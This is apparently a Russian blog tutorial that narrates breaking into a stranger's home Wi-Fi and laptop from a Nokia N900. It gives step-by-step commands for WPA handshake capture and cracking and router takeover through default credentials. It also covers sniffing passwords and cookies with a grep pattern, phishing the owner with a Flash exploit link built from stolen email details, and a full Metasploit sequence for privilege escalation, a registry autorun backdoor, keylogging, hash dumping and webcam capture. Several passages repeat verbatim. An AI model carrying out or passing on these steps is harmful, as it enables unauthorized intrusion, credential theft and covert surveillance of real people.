из песочницы tutorial
Доброго времени суток %username%.
В этой статье речь пойдет о взло аудите Wi-Fi сети, снифифнге и безопасности компьютера в целом.Разъяснять по пунктам все функции, опции и теорию взлома я не буду, в гугле сотни статей по тем утилитам, которые я буду использовать в данном материале, тут речь пойдет больше о практике.
Цель-получить рута(ну или админа) на удаленной машине.В качестве инструмента по взлому я выбрал телефон Nokia N900. Под рукой имеются и более мощные машины, скажем так в десятки раз мощнее, но если бы я использовал рядовой х86 компьютер, согласитесь не было бы так интересно.
Немного о самом аппарате: Nokia N900 является продолжением линейки серии Nххх и в отличии от братьев меньших имеет встроенный модуль сотовой связи и естественное логическое продолжение и улучшение линейки. Аппарат работает под платформой Maemo, на ядре дебиана 2.6.28. Что позволило комьюнити маемо портировать на аппарат очень много интересного софта, которым мы собственно и будем пользоваться. Стандартное ядро аппарата было заменено на кастромное сборки «Power46» к которому в ходе проекта Kernel-Power было добавлено много разных плюшек + установлен небольшой апгрейд, позволяющий использовать активную атаку в сетевых утилитах типа aircrack-ng.Про установку софта писать я не вижу смысла, в принципе ничего сложного, могут возникнуть вопросы с ядром, а так всё делается через стандартный apt-get.
Итак, для начала нам нужно пробраться в сеть, посмотреть что там к чему и далее “импровизировать”.
Глава 1. Аудит сети.
Заходим в терминал из под рута и делаем следующее:
Загружаем драйвера для адекватной работы инъекций на аппарате:
# cd MyDocs/wl1251-maemo/binary/compat-wireless /home/user/MyDocs/wl1251-maemo/binary/compat-wireless # sh load.sh
Меняем мак адрес аппарата из-за соображения безопасности так сказать:
# macchanger -A wlan0
Включаем режим монитора:
#airmon-ng start wlan0
Теперь посмотрим, что есть в сети:
#airodump-ng wlan0
Видим, что в сети есть wifi к которому кто-то уже подключен, попробуем отключить пользователя и перехватить хендшейк. Для этого сначала ставим airodump на запись и скан только по первому каналу и чтобы не ловить лишнего прописываем фильтр по мак адреусу:
#airodump-ng –с 1 –w dlink wlan0 –-bbsid [тут мак адрес]
Открываем новое окно, проверяем как обстоят дела с инъекциями:
#aireplay-ng -9 wlan0
Отличненько! Работает всё, теперь отключаем:
#aireplay-ng -0 3 –a [мак адрес точки] –с [мак адрес подключённого пользователя] wlan0
Отправили 3 пакета на отключение на всякий случай и смотрим что получилось:
Итак как видим на скриншоте мы поймали хендшейк, теперь приступим к взлому, перед этим разогнав аппарат побыстрее:
#kernel-config limits 125 1150
Скажу сразу, взлом WPA с телефона очень медленный, к сравнению с компьютера взлом средствами процессора даёт примерно до 4-х тысяч паролей в секунду, с CUDA на не очень мощной 295-ой видюхой Nvidia скорость взлома в среднем 60 тысяч паролей в секунду, ну а на телефоне всё, на что способен ARM Cortex-A8 – 125 паролей в секунду с разгоном до 1,15 Ггц. Тем не менее, я решил попробовать, результат меня приятно удивил:
#aircrack-ng –w MyDocs/pass.dic dlink*.cap
Не успел я заварить кофе, как через 4 минуты aircrack-ng нашел пароль «1234567890», это можно назвать везением, т.к. скажем для прошлого перебора мне потребовалось перебрать чуть более 12-ти миллионов ключей по 9-ти различным словарям, прежде чем я нашёл пароль.
Загружаем драйвера для адекватной работы инъекций на аппарате:
# cd MyDocs/wl1251-maemo/binary/compat-wireless /home/user/MyDocs/wl1251-maemo/binary/compat-wireless # sh load.sh
Меняем мак адрес аппарата из-за соображения безопасности так сказать:
# macchanger -A wlan0
Включаем режим монитора:
#airmon-ng start wlan0
Теперь посмотрим, что есть в сети:
#airodump-ng wlan0
Видим, что в сети есть wifi к которому кто-то уже подключен, попробуем отключить пользователя и перехватить хендшейк. Для этого сначала ставим airodump на запись и скан только по первому каналу и чтобы не ловить лишнего прописываем фильтр по мак адреусу:
#airodump-ng –с 1 –w dlink wlan0 –-bbsid [тут мак адрес]
Открываем новое окно, проверяем как обстоят дела с инъекциями:
#aireplay-ng -9 wlan0
Отличненько! Работает всё, теперь отключаем:
#aireplay-ng -0 3 –a [мак адрес точки] –с [мак адрес подключённого пользователя] wlan0
Отправили 3 пакета на отключение на всякий случай и смотрим что получилось:
Итак как видим на скриншоте мы поймали хендшейк, теперь приступим к взлому, перед этим разогнав аппарат побыстрее:
#kernel-config limits 125 1150
Скажу сразу, взлом WPA с телефона очень медленный, к сравнению с компьютера взлом средствами процессора даёт примерно до 4-х тысяч паролей в секунду, с CUDA на не очень мощной 295-ой видюхой Nvidia скорость взлома в среднем 60 тысяч паролей в секунду, ну а на телефоне всё, на что способен ARM Cortex-A8 – 125 паролей в секунду с разгоном до 1,15 Ггц. Тем не менее, я решил попробовать, результат меня приятно удивил:
#aircrack-ng –w MyDocs/pass.dic dlink*.cap
Не успел я заварить кофе, как через 4 минуты aircrack-ng нашел пароль «1234567890», это можно назвать везением, т.к. скажем для прошлого перебора мне потребовалось перебрать чуть более 12-ти миллионов ключей по 9-ти различным словарям, прежде чем я нашёл пароль.
Дальше переведя вафлю в стандартный режим я решил подключиться к сети, подключился без проблем, т.к. фильтрации по мак адресу не было, что было крайне предсказуемо учитывая выбор такого пароля. Теперь нужно было понять куда мы подключились и что с этим делать:
Глава 2. В сети
Для сбора информации использовались проги wireshark и чтобы в куче хлама найти заветную инфу- grep. Но снифить WPA сеть достаточно тяжело, в открытом текстовом виде данные не передаются, на свой страх и риск, рассчитывая на то, что пользователь совсем ламер я решил зайти в админку роутера и сменить шифрование, не меняя пароль, конечно это может быть и глупо поскольку даже дурак заподозрит что-то неладное, но я отталкивался от мысли, что роутер называется дефолтно dlink а пароль к нему 1234567890, что заставляло меня усомниться в компьютерных способностях пользователя.
Подключившись к сети, проверил адрес ifconfig-ом, адрес стандартный 192.168.1.101 следовательно админка длинка должна быть 192.168.1.1 и пароль по дефолту пустой, логин админ, смотрим… и да, мои ожидания оправдались, я попал в админку, после чего сменил шифрование, оставив тот-же пароль.
Дальше оставалось только ждать, и спустя некоторое время, вконец измучившись(прошло 2 часа), возможно обзвонив друзей и техподдержку провайдера, о чудо, юзер зашёл в сеть, не сменив её настройки!
Дальше оставалось только ждать, и спустя некоторое время, вконец измучившись(прошло 2 часа), возможно обзвонив друзей и техподдержку провайдера, о чудо, юзер зашёл в сеть, не сменив её настройки!
Далее открываем wireshark и выставляем в опциях захват пакетов в файл.Отлично, захват пошёл, и беглым взглядом мы видим, что до нас уже тут кто-то побывал, компьютер беспрерывно шлёт NBNS запросы с именами ballscindi.com, gusssiss.com, alazag.com и brutusshawn.com беглым взглядом в гугле мои подозрения подтвердились, адерса есть в чёрных списках. Немного забегая вперёд скажу, что нашёл в директории Windows интересную папку NEWSPLOIT в которой лежали документы word, exel, power point, и RTF файл, естественно документы «не рабочие» или пустые и в скором времени вызывают подвисание или выключение программы, возможно уязвимость в оффисе и стала причиной попадания данного компьютера в ботнет сеть.
А теперь поищим грепом некоторые полезные сведения, для этого вводим:
#tail -F zahvat | cat | grep -aEo «remixsid=[0-9a-f]+|l=[0-9]{3,12}|p=[0-9a-f]{36}|email=[^&]+&pass=[^ ]+|c_user=[0-9]+|sid=[0-9]{1,5}|xs=[0-9a-f]{32}|login=[^&]+|password=[^&]+|admin=[^&]+|cookie=[0-9a-f]+»
И спустя некоторое время видим эмейл и пароль пользователя. Но этого не достаточно, смотрим повнимательней и видим среди трафика строчку User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Да, мои подозрения целиком и полностью подтвердились, через браузер ИЕ6 в ХР-ку пробраться труда не составит, главное найти подходящий сплоит и грамотно его впарить.
А теперь поищим грепом некоторые полезные сведения, для этого вводим:
#tail -F zahvat | cat | grep -aEo «remixsid=[0-9a-f]+|l=[0-9]{3,12}|p=[0-9a-f]{36}|email=[^&]+&pass=[^ ]+|c_user=[0-9]+|sid=[0-9]{1,5}|xs=[0-9a-f]{32}|login=[^&]+|password=[^&]+|admin=[^&]+|cookie=[0-9a-f]+»
И спустя некоторое время видим эмейл и пароль пользователя. Но этого не достаточно, смотрим повнимательней и видим среди трафика строчку User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Да, мои подозрения целиком и полностью подтвердились, через браузер ИЕ6 в ХР-ку пробраться труда не составит, главное найти подходящий сплоит и грамотно его впарить.
Часть 3. Проникаем в компьютер
Итак, чего мы имеем?По пойманным данным мы можем судить о следующем, пользователь сидит в сети с ноутбука фирмы Тошиба, имеет как минимум 1 троян, через который посредством NetBIOS запросов и UDP протокола компьютер функционирует в ботнет сети и в данный момент находится в режиме ожидания, следовательно если даже у владельца и есть антивирус, то уж точно не обновляющийся некоторое время, так-же мы знаем почту и пароль от неё и от десятка ресурсов, порывшись в почте, мы знаем имя владельца и его персональные данные, а так-же имена коллег по работе.
Используя эту информацию мы с лёгкостью сможем скинуть сплоит пользователю, осталось только выбрать какой. Скажу так, испробовал я с десяток сплоитов, но поскольку винда, хоть и ХР – обновления она получает регулярно, поэтому я остановился на сплоите сторонней, но очень популярной программы компании Adobe- Flash player-e, а именно на уязвимостях CVE-2011-0609 иCVE-2011-0611, с первой уязвимостью ничего не вышло, зато вторая оказалась работоспособной целиком и полностью, теперь опишу сам процесс в общих чертах.
Для начала решаем чего-же нужно?
А именно получить полный доступ к компьютеру, скинуть бэкдор, чтобы компьютер всегда был в доступе и посмотреть некоторые функции шелла.Обновляем метасплоит:
#ruby1.8 /home/user/msf3/msfupdate
Запускаем метасплоит:
#ruby1.8 /home/user/msf3/msfconsole –L
Далее выбираем сплоит:
>use exploit/windows/browser/adobe_flashplayer_flas10o
Выбираем нагрзку, будем использовать классический meterpreter:
>set payload windows/meterpreter /reverse_tcp
Смотрим через ifconfig свой адрес и вводим настройки локального хоста сплоита:
>set lhost 192.168.1.101
После хост сервера :
>set srvhost 192.168.1.101
Запускаем:
>exploit
После запуска нам необходимо как-то придать человеческий вид ссылке, поэтому используем ресурс “сокращения” ссылок, я буду пользовать этот
Теперь ссылку нужно «впарить» Тут вспоминаем чего мы узнали на почте и регистрируем новый аккаунт для отправки письма примерно следующего содержания:
Спустя некоторое время:
Ура! Мы в системе. Далее нужно посмотреть процессы на предмет антивируса, перебраться в другой процесс из блокнота и записать бэкдор, приступим.
Открываем сессию:
> sessions –i 1
Запрашиваем инфу о системе, чтобы убедиться что есть коннект:
> sysinfo
Смотрим процессы:
>ps
Антивирус есть и кстати довольно извесный, раз я подключился, то антивирус либо отключен, либо давно не обновлялся, либо без лицензии, рискнём и мигрируем в explorer:
>migrate [pid]
Получилось! Далее повышаем права до системы:
>getsystem
Прогружаем библиатеку для добавления нового пользователя:
>use incognito
И пытаемся зарегестрировать нового админа:
>add_user [login] [pass]
#ruby1.8 /home/user/msf3/msfupdate
Запускаем метасплоит:
#ruby1.8 /home/user/msf3/msfconsole –L
Далее выбираем сплоит:
>use exploit/windows/browser/adobe_flashplayer_flas10o
Выбираем нагрзку, будем использовать классический meterpreter:
>set payload windows/meterpreter /reverse_tcp
Смотрим через ifconfig свой адрес и вводим настройки локального хоста сплоита:
>set lhost 192.168.1.101
После хост сервера :
>set srvhost 192.168.1.101
Запускаем:
>exploit
После запуска нам необходимо как-то придать человеческий вид ссылке, поэтому используем ресурс “сокращения” ссылок, я буду пользовать этот
Теперь ссылку нужно «впарить» Тут вспоминаем чего мы узнали на почте и регистрируем новый аккаунт для отправки письма примерно следующего содержания:
Спустя некоторое время:
Ура! Мы в системе. Далее нужно посмотреть процессы на предмет антивируса, перебраться в другой процесс из блокнота и записать бэкдор, приступим.
Открываем сессию:
> sessions –i 1
Запрашиваем инфу о системе, чтобы убедиться что есть коннект:
> sysinfo
Смотрим процессы:
>ps
Антивирус есть и кстати довольно извесный, раз я подключился, то антивирус либо отключен, либо давно не обновлялся, либо без лицензии, рискнём и мигрируем в explorer:
>migrate [pid]
Получилось! Далее повышаем права до системы:
>getsystem
Прогружаем библиатеку для добавления нового пользователя:
>use incognito
И пытаемся зарегестрировать нового админа:
>add_user [login] [pass]
Итак, пользователя создали, а вот добавить его в группу администраторов, увы не получилось, ну да ладно, включим удалённый рабочий стол:
> run getgui -e (на всякий случай)
И соберём бэкдор:
#ruby1.8 msfpayload windows/meterpreter/reverse_tcp LHOST=[адрес] LPORT=4444 X > /путь к файлу/файл.exe
Теперь загрузим файл и запишем ключ в реестр на автозагрузку:
> reg setval –k HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\run –v [имя ключа] -d [команда]
Тестируем:
>use exploit/multi/handler
>set PAYLOAD windows/meterpreter/reverse_tcp
>set LHOST [ваш адрес]
Спустя некоторое время после перезагрузки мы снова в системе. Теперь рассмотрим некоторые фишки meterpreter-a.
Скриншот экрана:
>screenshot
Кейлоггер:
>keyscan_start
>keyscan_dump
>keyscan_stop
Русский язык не работает, можно переводить всё через сторонние утилиты или через некоторые веб ресурсы, не помню точно где, но видел такую возможность.
Закрываем процесс:
> kill [pid]
Скачиваем файл:
> download [файл] [путь].
Собираем хеш:
> hashdump
Получаем доступ к консоли запустив в фоне cmd и войдя в него:
>execute –а cmd.exe –с
И чтобы войти:
>interact [выбираем канал]
(как видем на скрине, у этого шелла есть явные проблемы с кодировкой)
Делаем снимок с вебкамеры, довольно палевно, учитывая что практически на всех камерах есть световые, а иногда и звуковые индикаторы:
> webcam_snap
Как мы видим качество снимка ужасное и толком ничего не разберёшь, но всё-же это меня поразило когда-то больше всего.
Так-же из интересного – можно записывать с микрофона звуки, но у меня никогда не выходило, писало ровно в секунду длинной, сколько бы время не выставлял времени и прекращалось.
Как и практически во всех консольных утилитах полный список возможностей можно получить коммандой help.Вобщем как мы видим возможности безграничны практически, к возможностям самого шелла добавляется консоль виндовса, большего в принципе и ненужно, и в конце всего можно написать только одно – OWNED:)
Глава 4. Заключение
В этой небольшой статье-обзоре я показал некоторые возможности планшета n900,и крайне популярных программ. Эта статья не претендует на уникальность взлома и врятли покажет чего-то новое тому, кто уже вник в процесс аудита безопасности, тут скорее уникальность заключается в том, что всё это было проделано с сотового телефона, ну и я показал работу «горячей» уязвимости 2-х недельной давности.
Извиняюсь если где-то есть ошибки или неточности, время 5 часов утра и уже сильно клонит в сон.
Ну а что касательно самого “аудита” этот случай, скорей исключение, чем правило. С такой лёгкостью можно взломать лишь человека, который вобще далёкого от компьютера, естественно пользы от такого совсем мало, порою уязвимость можно искать неделями, а перебор пароля к роутеру вести по 2 дня без перерыва, собственно меня и сподвигло к написанию этой статьи такая возможность, описать на одном наглядном примере сразу несколько утилит, работающих вместе для достижения конкретной цели, так еще и с явно нестандартного для этих целей устройства.
Надеюсь статья кому-нибудь будет поезна, особенно начинающим в этом деле, ведь всё описанное тут спокойно можно 1 в 1 выполнять на компьютере в той-же последовательности.
P.S. Для ленивых:
Всё описанное тут можно спокойно проверить самостоятельно, установив винду XP на виртуальную машину(или куда либо еще) и скачав флеш плеер версии 10.2.153.1 тут(ссылка на пиратскую бухту, извиняюсь, но не нашёл другого ресурса где спокойно 24/7 без ожидания и кодов и на нормальной скорости можно скачать «старую» версию флешплеера),Ознакомиться с исходным кодом эксплоита можно здесть,Весь софт можно найти тут в одном немало известном дистрибьютиве.
No comments:
Post a Comment